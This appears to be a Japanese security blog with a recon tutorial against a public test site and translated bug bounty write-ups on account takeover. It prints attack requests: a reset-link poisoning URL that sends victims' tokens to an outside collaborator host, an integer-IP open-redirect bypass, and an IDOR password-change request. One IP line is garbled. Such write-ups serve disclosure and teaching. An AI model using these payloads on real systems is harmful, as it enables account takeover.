Shikata Ga Nai

Private? There is no such things.

Bug Bountyでの偵察の流れを少しだけ具体的にかいてみた

Hello there, ('ω')ノ

 

久しぶりにParrot Securiyを起動するとエラーが。

やはり物理環境で構築しておくべきだったと後悔しつつ。

 

f:id:ThisIsOne:20211013144515p:plain

 

下記からOVAファイルをダウンロードしてVirtual Boxにインポートすることに。

 https://www.parrotsec.org/virtual/

 

f:id:ThisIsOne:20211013172358p:plain

 

起動してみると環境設定も不要で、使いやすくなっているような。

 

f:id:ThisIsOne:20211013172449p:plain

 

今回は、ターゲットを下記のテスティングサイトで。

 http://www.vulnweb.com/

 

f:id:ThisIsOne:20211013161050p:plain

 

まずは、サブドメインの列挙で簡単なのはGoogleを使用して。

 site:*.vulnweb.com

 

f:id:ThisIsOne:20211013161234p:plain

 

他には、Sublist3rをインストールして。

 git clone https://github.com/aboul3la/Sublist3r.git

 

f:id:ThisIsOne:20211013162809p:plain

 

ディレクトリを移動してからシンプルに実行すると抽出できて。

 python3 sublist3r.py -d vulnweb.com

 

f:id:ThisIsOne:20211013164932p:plain

 

次にパラメータを検出するためにParamspiderをインストールして。

 git clone https://github.com/devanshbatham/ParamSpider

f:id:ThisIsOne:20211013165544p:plain

 

こちらもシンプルに実行して。

 python3 paramspider.py --domain vulnweb.com

 

f:id:ThisIsOne:20211013162646p:plain

 

サブドメインの検出で、subfinderは高速で性能がいいのですが。

ちょっと設定が面倒だったりもするので、今回は割愛ということで。

 https://github.com/projectdiscovery/subfinder

 

f:id:ThisIsOne:20211013164518p:plain

 

Best regards, (^^ゞ

Chaining password reset link poisoning, IDOR, and information leakage to achieve account takeover at api.redacted.comを訳してみた

Hello there, ('ω')ノ

 

api.redacted.comでアカウントの乗っ取りを実現するために。

パスワードリセットリンクポイズニング、IDOR、および情報漏えいの連鎖を。

 

脆弱性:

 HTTPヘッダインジェクション

 

記事:

 https://infosecwriteups.com/chaining-password-reset-link-poisoning-idor-account-information-leakage-to-achieve-account-bb5e0e400745

 

影響力のある脆弱性についてターゲットWebアプリケーションを評価する際に。

実行するのに役立つチェックは、ウェイバックマシンを調べて。

時間の経過とともにターゲットに存在していたURLを発見することで。

これらは、バグをテストできる重要な機能を公開する可能性があって。

 

ユーザは、次のエンドポイントを介してアカウントのパスワードをリセットできて。

 https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com

 

偵察をしている間、waybackurlsを使用して。

URLを見つけるプロセスを自動化するのが好きで。

 

 https://github.com/tomnomnom/waybackurls

f:id:ThisIsOne:20211013110452p:plain

 

ツールの結果を検索すると、興味深いパラメータ(resetPasswordUrlPrefix)を含む。

パスワードリセットエンドポイントの代替バージョンが見つかって。

 https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com&resetPasswordUrlPrefix=https%3A%2F%web.archive.org%2Fsave%2F_embed%2Fhttps%3A%2F%2Faccounts.redacted.com%2Fmember%2Freset-password

 

また、/v3/users/エンドポイントにはアクセス制御がなくて。

リクエスト内のメールアドレス、またはハンドルパラメータを変更するだけで。

他のユーザが所有する情報を取得できることも注目して。

(2つのパラメータは、交換可能で)

 

下記のようにAPIエンドポイントで。

user handle、email、ID、firstName、LastNameがリークしていて。

 

f:id:ThisIsOne:20211013111244p:plain

 

なので、resetPasswordUrlPrefixパラメータの使用法を。

理解しようとしているときにアイデアが思い浮かび。

アカウントのパスワードをリセットしているときに。

burpcollaboratorからペイロードを提供した場合はどうなるだろうかと。

 https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com&resetPasswordUrlPrefix=https://lvk9gh5vmzmaack1xdb3ekexyo4gs5.burpcollaborator.net/save/_embed/https://accounts.redacted.com/member/reset-password

 

これにより、burpcollaboratorクライアントでDNSとHTTPの相互作用が発生して。

パスワードリセットトークンがリファラヘッダでリークされたことが確認できて。

この情報は概念実証に十分だったので、レポートを作成することに。

 

f:id:ThisIsOne:20211013111146p:plain

 

次の手順で、概念実証を示すことに。

1.テスト目的でプログラムに2つのアカウントを登録して。

 1つのアカウントにログインして。

 

2.影響を受けるエンドポイントにリクエストを送信して。

 email、またはhandleパラメータを。

 被害者のアカウントに属するものに置き換えて。

 https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com&resetPasswordUrlPrefix=https://lvk9gh5vmzmaack1xdb3ekexyo4gs5.burpcollaborator.net/save/_embed/https://accounts.redacted.com/member/reset-password

 

3.被害者のアカウントは、攻撃者のドメインの前に付けられた。

 パスワードリセットリンクを受け取って。

 被害者のアカウントは、攻撃者が制御するドメインが埋め込まれた。

 ポイズニングされたリンクを受け取って。

 

f:id:ThisIsOne:20211013110957p:plain

 

4.被害者がポイズニングされたリンクをクリックすると。

 攻撃者は、リファラヘッダに表示されている被害者の。

 パスワードリセットトークンを使用して

 自分のドメインへのリクエストを受け取って。

 

5.攻撃者は、パスワードリセットリンクをWebブラウザにロードして。

 被害者のアカウントに新しいパスワードを設定することで。

 アカウントの乗っ取りが完了して。

 

Best regards, (^^ゞ

Evading Filters to perform the Arbitrary URL Redirection Attackを訳してみた

Hello there, ('ω')ノ

 

フィルタを回避して任意のURLリダイレクト攻撃を実行するを。

 

脆弱性:

 オープンリダイレクト

 

記事:

 https://infosecwriteups.com/evading-filters-to-perform-the-arbitrary-url-redirection-attack-cce628b9b6a0

 

任意のURLリダイレクト攻撃は。

一般にオープンリダイレクト攻撃として知られていて。

これは、攻撃者が被害者のユーザを攻撃者が制御するドメインに。

リダイレクトできるようにする一般的なWebの脆弱性で。

この攻撃を利用して、トークンなどの機密情報を盗んだり。

ソーシャルエンジニアリングを実行したりすることができて。

任意のURLリダイレクト攻撃は、ほとんどの場合。

アプリケーションがユーザ指定のURLを受け入れて。

脆弱な機能の実行時にリダイレクトするエンドポイントで発生して。

 

一般的なパラメータには、下記のようなものがあって。

?return=,?returnURI=,?forwardedTo=, ?redirect=, ?redirectURI=, ?url=,?forward=

 

さらにユーザを別のエンドポイントにロード、またはリダイレクトするように。

見えるその他のパラメータがあって。

 

この記事では、フィルタを回避することで任意のURLリダイレクト攻撃を。

実行できた最近の調査結果の1つについて説明することに。


最新のフレームワークは、デフォルトでセキュリティチェックを実装して。

オープンリダイレクト攻撃を検証および回避したりと。

多くの場合、サードパーティのURLまたはIPが使用されているかどうかの検証や。

HTTPS://プロトコルが使用されているかどうかの検証や。

見つかった場合は、アプリケーションがリダイレクトの発生をブロックするなど。

さまざまなフィルタが使用されていて。

 

今回は、target.comなどのプライベートアプリケーションをテストしているときに。

同様の状況に遭遇して。

アプリケーションのセキュリティチェックリストからさまざまな脆弱性を。

チェックしているときに、次のURLリダイレクトを探していて。

この攻撃をテストするための一般的なアプローチは次のとおりで。

 

アプローチ1:

1.アプリケーションにログインして。

 

2.[マイプロファイル]などの認証済みページに移動して。

 URLは、一般的に下記のようになって。

  https://www.target.com/my-profile/


3.ここで、アプリケーションからログアウトすると。

 多くの場合は、一部のアプリケーションは/my-profileページに。

 

4.リダイレクトするパラメータをスローするので、URLは下記のようになって。

 https://www.target.com/login?forward=/my-profile


5.この場合は、forwardパラメータは。

任意のURLリダイレクト攻撃をテストするための潜在的な攻撃ベクトルで。

 

アプローチ2:

1.ParamSpiderやArjunなどのパラメータ列挙ツールを使用して。

 

2.任意のURLリダイレクト攻撃に対して疑わしいパラメータをテストして。

 

 https://github.com/devanshbatham/ParamSpider

f:id:ThisIsOne:20211012215916p:plain

 

 https://github.com/s0md3v/Arjun

f:id:ThisIsOne:20211012220008p:plain

 

アプローチ3:

1.ターゲットアプリケーションでgauやwaybackurlsを実行して。

 ファイルに保存して。

 

 https://github.com/lc/gau

f:id:ThisIsOne:20211012220759p:plain


 https://github.com/tomnomnom/waybackurls

f:id:ThisIsOne:20211012220712p:plain

 

2.アプローチ1で保存したファイルに対して。

 OpenRedirectionのGF Patternsを実行して。

 

 https://github.com/1ndianl33t/Gf-Patterns

f:id:ThisIsOne:20211012221130p:plain

 

3.出力を別のファイルに保存して。

 

これらのURLは、疑わしくて。

任意のURLリダイレクト攻撃の潜在的なエンドポイントで。

この場合、私がテストしていたアプリケーションでは。

アプローチ1を使用したものの。

OpenRedirectionの次の潜在的なエンドポイントが見つかって。

 https://www.target.com/login?forward=/account/address


ただ、forwardパラメータは、URLが指定されているかどうかを検証していて。

リダイレクトの発生をブロックしていたので。

さらに調査した後にそれを知るように。


 ・アプリケーションは、HTTPSプロトコルをフィルタリングしていて

 ・アプリケーションは、ホストとIPアドレスをフィルタリングしていて


ただし、アプリケーションはHTTPプロトコルの使用を許可していたので。

しばらく考えた後に、下記のペイロードをバイパスとして使用することに。

http://28999057322899905732は、google.comのIPの整数IP表現で。

 142.250.64.100


最終的なペイロードは、下記のようになって。

 https://www.target.com/login?forward=http://2899905732

 

上記のURLに移動して、有効な資格情報でログインしできて。

ログインすると、アプリケーションはgoogle.comにリダイレクトされて。

任意のURLリダイレクト攻撃が成功して。

 

要点:

考えられるすべてのアプローチを試して、すべての脆弱性を調べてみて。

何かが機能していないかブロックされている場合は。

可能な代替手段を探してみて。

成功するためにフィルタを回避するために可能なすべての方法を試して。

Best regards, (^^ゞ

Theoretically Possible To Practical Account Takeoverを訳してみた

Hello there, ('ω')ノ

 

理論的に可能なアカウントの乗っ取りを。

 

脆弱性:

 IDOR

 アカウントの乗っ取り

 

記事:

 https://ironfisto.medium.com/theoretically-possible-to-practical-account-takeover-c9383ab03f76

 

今回、見つけたはアカウント乗っ取りで。

これは、アプリケーションの偵察と理解を備えたIDORの優れたチェーンで。

暗号の引き出しプロセスはシングルステップのプロセスではなかったので。

アプリは非常に安全に見えて、身元も確認していたので。

アカウントの乗っ取りを直接テストしようとして。

ただ、影響があったとしても被害者が持っている暗号資産の量くらいですが。

 

POC:

1.電子メールで2つのアカウントを作成して。

 両方のアカウントの主キーであるUUIDを記録してから。

 

2.パスワードリセット機能に移動して、メールIDを入力して。

 パスワードリセットリンクを取得して。

 https://domain.tld/changePassword/{user-primary-key-id}/{reset-token}

 

3.リンクを見るとこれは脆弱に見えたので。

 ユーザの主キーを被害者の主キーに置き換えて送信すると。

 https://domain.tld/changePassword/{victim-primary-key-id}/{attacker-reset-token}

 

リクエスト:
 POST /changePassword/62c4ffb0-be57-11e8-a68e-8d01686939c8/378fce7754fcdadebb6de5d778753c9916ffed192c942756b45bfeabd4e856f00799a6db002a292eb5cfe007208cc7b1 HTTP/1.1

 

リクエストボディ:
 {"password":"urhacked"}

 

このリクエストへの応答は200だったので。

すべてのユーザのアカウントを引き継ぐことができて。


しかし、どのユーザも被害者のメールID、またはUUID主キーがわからないので。

不要な要求なので、理論的に考えられる攻撃と自分のテストアカウントは。

互いにぶつかり合っていてたので。

次は、UUIDを取得する方法を理解することで。

アプリケーションを理解すると紹介機能があって。

リンクは、下記のとおりで。

 https://domain.tld/?source=4vyryrtfhf

 

これで、被害者に属するソース参照パラメータができたもののUUIDはリークしなくて。

次にソース参照パラメータを受け取る別のエンドポイントを見つけて。

 https://domain.tld/fast/4vyryrtfhf

 

下記のように犠牲者のUUIDを取得できて。

 

f:id:ThisIsOne:20211012182200p:plain


 なので、Google Dorksを使用すると、任意のユーザのソースパラメータと。

 UUIDを取得することができたので。

 アプリケーションのユーザアカウントを乗っ取ることに。

 

4.自分のアカウントを使用してパスワードのリセットトークンを取得して。

 パスワードのリセットリンクで被害者のUUIDを使用すると。

 それが、被害者のアカウントを引き継ぐことができた方法で。

Best regards, (^^ゞ

Account takeover through password resetを訳してみた

Hello there, ('ω')ノ

 

パスワードのリセットによるアカウントの乗っ取りを。

 

脆弱性:

 アカウントの乗っ取り

 パスワードリセットの欠陥

 

記事:

 https://infosecwriteups.com/account-takeover-through-password-reset-82adc0c19248

 

ツール:

 OWASP ZAP

 Burp Suite

 

今回のターゲットをredacted.comと呼ぶことに。

プログラムを偵察した後、パスワードリセット機能を調べ始めて。

通常は(ATO、ホストヘッダインジェクション)のような脆弱性を探すのですが。

 

ユーザがパスワードをリセットしたい場合は、名前と電子メールを入力して。

パスワードリセットリンクが、彼の電子メールに送信されるので。

アカウントのパスワードのリセットをリクエストして。

そのリクエストを(Zapプロキシ経由で)傍受して詳細に調べると。

下記のようなリクエストを見つけて。

 

f:id:ThisIsOne:20211012072234p:plain

 

そして、パスワードリセットリンクは下記のとおりで。

 https://redacted.com/Reset?token=04294876770750

 

これまでのところ、わくわくするようなことは何もなかったので。

リンクを使用し、パスワードを変更して、リクエストを傍受すると。

ここで、下記のような非常に興味深いにリクエストを見つけて。

 

f:id:ThisIsOne:20211012072319p:plain

 

このリクエストからパスワードのリセットに使用されたトークンが見つかって。

これは、ユーザがパスワードのリセットをリクエストしたときに。

送信される既存のトークンと同じで。

 securityToken=

 

ここから、被害者のパスワードを変更することでアカウントを引き継ぐことができて。

 

再現手順 :

1.被害者のアカウントのパスワードをリセットして。

 Burp Ssuiteでリクエストをブロックするようリクエストすると。

 

2.被害者のパスワードをリセットするために使用するトークンが見つかるので。

 

3.アカウントのパスワードリセットをリクエストして。

 パスワードリセットリンクを使用してパスワードを変更して。

 Burp Suiteを介してリクエストをインターセプトすると。

 

4.下記のようなリクエストを見つけることができて。

 

f:id:ThisIsOne:20211012072338p:plain

 

5.トークンを被害者のトークンに置き換えると。

 被害者のパスワードが正常に変更されて。

 

Best regards, (^^ゞ